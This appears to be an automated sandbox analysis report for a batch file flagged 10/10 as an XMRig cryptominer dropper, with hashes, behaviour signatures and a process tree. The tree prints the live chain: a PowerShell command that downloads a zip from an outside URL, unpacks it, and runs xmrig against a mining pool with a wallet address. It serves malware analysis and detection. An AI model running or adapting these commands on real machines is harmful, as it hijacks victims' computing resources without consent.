Analysis

  • max time kernel
    1801s
  • max time network
    1811s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-10-2023 10:57

General

  • Target

    tesy - Copy (3).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4104
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1712
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4144
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2776

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    e52ff3673869a8c21697e9cc80b586a9

    SHA1

    d86961b3dcd781a87ad6360bd69c0e4ad6ad3456

    SHA256

    4263e18a993ae6da36463829ecf6f02b13035555a6f83c6f9aa048cf1151f7cc

    SHA512

    70e7ffc8794613d45666be095dcdb22cea7b7ea27a910cdaee1f1d3a7e313b3b0cbf5bb0889cfa4cc9b7b93963302d259d73f7ed315b15f5d8d11c0e6b1d7ead

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    9f19baf74b1e5f15c0ece3d8e48136a4

    SHA1

    27d420fb9c7a60cad3c30d93149a063e5552da85

    SHA256

    c8491caab288aa75a40e80352a640c609000d0543ec00b525f6f89c60800eaa1

    SHA512

    d68032618b0d9a3a568af3fd6299b5677710375a64eb8896f7726565013d52c824b2affd9f3b7acb5e35bb2e5d404e590ac444a70cd85301a3648871ea58950e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5qluenk3.vuk.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/1712-20-0x000002156AC50000-0x000002156AC60000-memory.dmp

    Filesize

    64KB

  • memory/1712-21-0x000002156AC50000-0x000002156AC60000-memory.dmp

    Filesize

    64KB

  • memory/1712-19-0x00007FFC7A8B0000-0x00007FFC7B371000-memory.dmp

    Filesize

    10.8MB

  • memory/1712-32-0x000002156B0A0000-0x000002156B0B2000-memory.dmp

    Filesize

    72KB

  • memory/1712-33-0x000002156AC40000-0x000002156AC4A000-memory.dmp

    Filesize

    40KB

  • memory/1712-39-0x00007FFC7A8B0000-0x00007FFC7B371000-memory.dmp

    Filesize

    10.8MB

  • memory/1712-43-0x00007FFC7A8B0000-0x00007FFC7B371000-memory.dmp

    Filesize

    10.8MB

  • memory/2776-77-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-83-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-48-0x00000205EB610000-0x00000205EB630000-memory.dmp

    Filesize

    128KB

  • memory/2776-49-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-50-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-51-0x00000205EBA50000-0x00000205EBA70000-memory.dmp

    Filesize

    128KB

  • memory/2776-52-0x00000205EBC90000-0x00000205EBCB0000-memory.dmp

    Filesize

    128KB

  • memory/2776-53-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-54-0x00000205EBA50000-0x00000205EBA70000-memory.dmp

    Filesize

    128KB

  • memory/2776-55-0x00000205EBC90000-0x00000205EBCB0000-memory.dmp

    Filesize

    128KB

  • memory/2776-56-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-57-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-58-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-59-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-60-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-61-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-62-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-63-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-64-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-65-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-66-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-67-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-68-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-69-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-70-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-71-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-72-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-73-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-74-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-75-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-76-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-115-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-78-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-79-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-80-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-81-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-82-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-47-0x0000020559590000-0x00000205595B0000-memory.dmp

    Filesize

    128KB

  • memory/2776-84-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-85-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-86-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-87-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-88-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-89-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-90-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-91-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-92-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-93-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-94-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-95-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-96-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-97-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-98-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-99-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-100-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-101-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-102-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-103-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-104-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-105-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-106-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-107-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-108-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-109-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-110-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-111-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-112-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-113-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/2776-114-0x00007FF6D0220000-0x00007FF6D0D23000-memory.dmp

    Filesize

    11.0MB

  • memory/4104-9-0x000001D1B2810000-0x000001D1B2832000-memory.dmp

    Filesize

    136KB

  • memory/4104-10-0x00007FFC7A8B0000-0x00007FFC7B371000-memory.dmp

    Filesize

    10.8MB

  • memory/4104-11-0x000001D19A560000-0x000001D19A570000-memory.dmp

    Filesize

    64KB

  • memory/4104-12-0x000001D19A560000-0x000001D19A570000-memory.dmp

    Filesize

    64KB

  • memory/4104-13-0x000001D19A560000-0x000001D19A570000-memory.dmp

    Filesize

    64KB

  • memory/4104-17-0x00007FFC7A8B0000-0x00007FFC7B371000-memory.dmp

    Filesize

    10.8MB